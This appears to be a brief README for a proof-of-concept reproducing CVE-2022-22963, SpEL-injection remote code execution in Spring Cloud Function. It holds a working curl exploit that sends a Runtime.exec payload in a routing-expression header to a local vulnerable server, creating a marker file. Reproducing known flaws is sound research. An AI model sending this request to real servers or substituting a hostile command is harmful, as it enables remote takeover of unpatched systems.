
Minimal proof-of-concept for CVE-2022-22963 remote code execution in Spring Cloud Function via SpEL injection. Demonstrates exploitation with curl and a vulnerable server.
Minimal example to reproduce CVE-2022-22963 remote code execution in org.springframework.cloud:spring-cloud-function-core.
mvn spring-boot:run
curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch PWNED")' -d xxx http://127.0.0.1:8080/functionRouter
As a result of the exploit file PWNED will be crated nearby pom.xml.